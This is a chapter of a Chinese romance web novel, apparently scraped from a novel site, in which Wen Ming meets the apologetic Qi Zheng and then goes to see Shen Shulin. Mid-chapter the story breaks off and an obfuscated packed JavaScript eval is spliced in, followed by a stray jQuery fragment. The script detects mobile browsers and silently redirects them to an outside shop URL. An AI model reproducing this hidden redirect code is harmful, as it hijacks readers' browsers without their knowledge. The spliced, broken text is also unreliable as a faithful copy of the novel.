会客室离总经理办公室不算远,绕过一道走廊就到了门口,温茗打发了亦步亦趋跟着她的吕柯宏,独自推开会客室的大门。
屋子里的人似乎已经等了有一阵子了,此时正略显慵懒地靠坐在沙发上,一只手撑着下巴望着窗外发呆,不知道在想什么。听到开门的声音,那人像被吓了一跳,猛地回过头,一双浅茶色的眼珠就直直地落进了温茗眼里。
四目相对间,那人“刷”地一下从沙发上弹射了起来,见了她有些手足无措的慌乱,结结巴巴地说道:“温、温茗……”
温茗一只手还扶着门把手,站在门口愣了两秒钟,目光从那人微卷的浅茶色额发、略白的肤色、高眉深目的五官上依次扫过,才在对方略显惶恐的态度朝他颔了颔首,缓步走进了会客室。
帅哥确实是帅哥,但她没想到竟然并不是沈舒临。
温茗按了按眉心坐进沙发里,仰着头看了看一米九几还杵在眼前的高个子一眼,叹了口气,开始后悔刚刚为什么把吕柯宏在门口打发了——她确实不太愿意花心思处理这种毛遂自荐的问题,而且她记得,文乔娱乐好像没有开展混血模特这项业务吧。
“坐。”
那人闻言这才略显拘谨地在沙发上重新坐了下来,抬手摸了摸后脑勺,下定了什么决心似的开门见山道:“昨天真的很抱歉,我刚回国,对国内处理交通事故的流程不是很清楚,没想到耽误那么久……没及时联系你完全是我的过失,但我真的……”
听到这儿,温茗才从他语无伦次的话里摸到些头绪,“你是齐峥?”
她是真的没想到齐峥居然会找到文乔娱乐来,更没想到,这个传说中常年住在国外、很少在国内社交圈露面的齐家小少爷居然是个混血。没听说齐家夫人是个外国人来着。
对方因着她这声诧异的问询卡了壳,张了张嘴,透亮的浅茶色的眸子一暗,瞬间有些泄气:“原来你不记得我了?”
温茗顿时有些头疼。毕竟她一开始答应和齐峥见面时,就不记得什么杭家的晚宴,还以为只是个齐峥想约她吃饭的托词,怎么看他的反应,好像还确有其事?
“温茗,你不记得了吗?两年前我们在杭老的晚宴上见过,”虽然温茗没有回答,但齐峥显然已经从她一片茫然的神色中明白了过来,补充道:“在赫托庄园,那天你穿了一条深红色抹胸长裙,非常漂亮。”
两年前……赫托……庄园?
刚准备给自己倒杯茶的温茗手猛地一抖,差点将茶壶脱手。
两年前她的确在赫托庄园参加过一场晚宴,不过对方邀请的是温家长房的堂哥,只因为她堂哥当时忙于国内事务,她又刚好在国外散心,便由她代为出席。温茗那一阵子很是神伤,做什么都不太提的起兴致,原本也就是捧个场,连举办晚宴的人到底是谁都不大搞得清楚,也没有什么社交的意愿,差不多整晚都在庄园百年的城堡阳台上一个人喝酒,然后……因为喝的太醉,犯了点不足为外人道的小错误。
对于那天的事情,温茗其实已经记不大清楚了,加上她也不太想回忆自己的失误,酒醒之后就一股脑地将那点支离破碎的记忆压在了脑后,是以压根不知道赫托庄园的那场晚宴就是之前齐峥说的“杭家的晚宴”,也难怪之前一直不知道自己什么时候参加过,又对“杭家”毫无印象了。
只是她没想到,时隔两年,对方居然找上了门来。
温茗在滚烫的热水即将溢出杯沿前回过神来,抬眼朝那人看去,眼底依旧是和方才一样的漠然,只是放下茶壶的手有些微微颤抖,不过很快就被她藏进了桌子下面:“那天喝的酒有点多,没什么印象了。”
齐峥对于她无所谓的态度并不恼火,只是诚恳又认真地说道:“虽然你对我没什么印象了,但我对你的确是印象深刻。你像一枝盛放的罗德斯玫瑰,孤独地盛开在嘈杂的人群中,宁静迷人又脆弱易碎。那时候我就想问一问你,是什么困扰着你,才让你如此忧伤,可惜只来得及敬了你一杯酒……这两年来我一直深深地记得你的倩影,幻想着和你再见一面。”
只来得及敬了一杯酒吗?
桌下紧扣着手心的拳头蓦地舒展开来,温茗暗暗松了口气,朝他笑了笑:“你的中文说的很不错。”
“我本来就是地地道道的中国人,长成这样只是因为有四分之一混血而已。”齐峥闻言立刻纠正道。
中国人是中国人,不过地不地道就不知道了,毕竟刚才那一大串直白又热烈的表达和比喻,念什么外国诗似的,也的确不太像是在含蓄的中文语境下长大的人。他这番话放在不谙世事的小女孩耳朵里,八成要听得脸红心跳思潮澎湃,瞬间被他这“深情的表白”冲昏头脑,但她显然已经过了听情诗的年纪。
温茗笑了笑决定跳过这个话题:“抱歉,我那天状态不太好,确实对你没什么印象。”
齐峥立刻摇了摇头:“我才应该说抱歉,昨天完全是我的失误,害你等了那么久,浪费了你的时间。”
一般来说,初次打交道的印象基本就会决定温茗对一个人的看法,但因为齐峥今天的态度十分诚恳,温茗决定暂且对他昨天的失礼既往不咎,笑着摇了摇头:“以后再约人吃饭可不要这样了。”
齐峥直接举起手来发誓:“你放心,绝对不会有下一次了!”
“不过,你怎么知道我在这里?”不知道是不是她的错觉,这两天发生的事情多多少少都有些出乎她的意料,温茗并不喜欢这种隐隐约约对自己的生活失去控制的不适感。
好在齐峥回答得干脆:“我很清楚昨天的事情绝非一个绅士所为,又怕你不肯见我,所以特地和温伯父打听了你的行踪,亲自过来和你道歉。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924074|136389||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
又是她爸,整天就知道给她添乱。
两个人又说了几句话,温茗兜里的手机就嗡嗡震动起来,温茗虽然没有理会,但齐峥是个有眼色的,以为她日理万机地忙什么业务,很快便见好就收地起身告辞了。
温茗送齐峥出门的时候吕柯宏就等在会客室的门口,原本是打算替她送客的,见两人相谈甚欢地走出来,也没作声,只默默跟在两人身后,直到走到电梯间,才找准时机凑过来和她耳语了几句:“刚才前台说,楼下又来了位沈先生,说是有预约,听说你在会客,就在大堂坐着呢。”
温茗点头“嗯”了一声,掏出手机来瞄了一眼,果然刚刚那两声震动来自沈舒临,说自己已经到了,在楼下等她,便抬手回复了一句【久等了,马上下去】,又将手机揣回了兜里。
眼见电梯到了一楼,齐峥有些恋恋不舍地扭过头:“温茗,可以约你吃今天的晚饭吗?”
说话间一行人已经出了电梯,温茗的视线穿过齐峥一眼看到面对着电梯间坐在大堂沙发上的男人。
那人今天依旧是柔和系的打扮,素色的打底衫外罩了件松垮垮的浅米色绒线开衫,比衣服略深一个色度的休闲长裤,坐在透过落地玻璃幕墙照进大堂的日光里,整个人显得干净又柔软。
温茗对上那双一瞬不瞬凝视着她的幽深黑眸,朝他微微颔首后收回视线,对齐峥摇了摇头:“抱歉,我待会儿还有事,改天吧。”
“好吧,”浅茶色的眸子里多了几分失落,齐峥无奈地耸了耸肩膀,顺着她的视线朝大堂沙发上扫了一眼,愣了一下,嘴里不知道嘟囔了一句什么,才和温茗寒暄着出了门。
温茗敏锐地捕捉到了这个细节,却没有追问,只客客气气地将对方送出了大门,扭头对跟在身后的吕柯宏叮嘱道:“刚才那位是安戈能源的齐小公子,以后见了他客气点。”
吕柯宏这才恍然大悟似的“哦”了一声,“我说您怎么会亲自送出门呢,他就是舒良音的金主?”
这人还记着八卦那茬事呢,真不愧是娱乐圈中人,温茗睨了他一眼,余光扫见大堂沙发上坐着的某人,摇了摇头:“那倒不是……辛悦那边再劝劝她,如果本子真的喜欢,也没必要和一个新人置气。你先回去吧,我去会会那位沈先生。”
吕柯宏的视线在那人和温茗之间转了个来回,点了点头,临走时还不忘调侃温茗一句:“老板,你最近桃花的质量真是越来越高了。”
这也就难怪他们老板对主动投怀送抱的男明星们一向都是敬而远之的态度了——毕竟日常结交的都是像齐先生、沈先生这等风姿出众又背景殷实的男人,又怎么会轻易被肤浅的美色所诱惑呢。
温茗不知道这会儿自己的形象在吕柯宏心里更加高大了,笑了一声没理他,摸了摸刚才随手揣在兜里的钱夹,径直朝那人走了过去。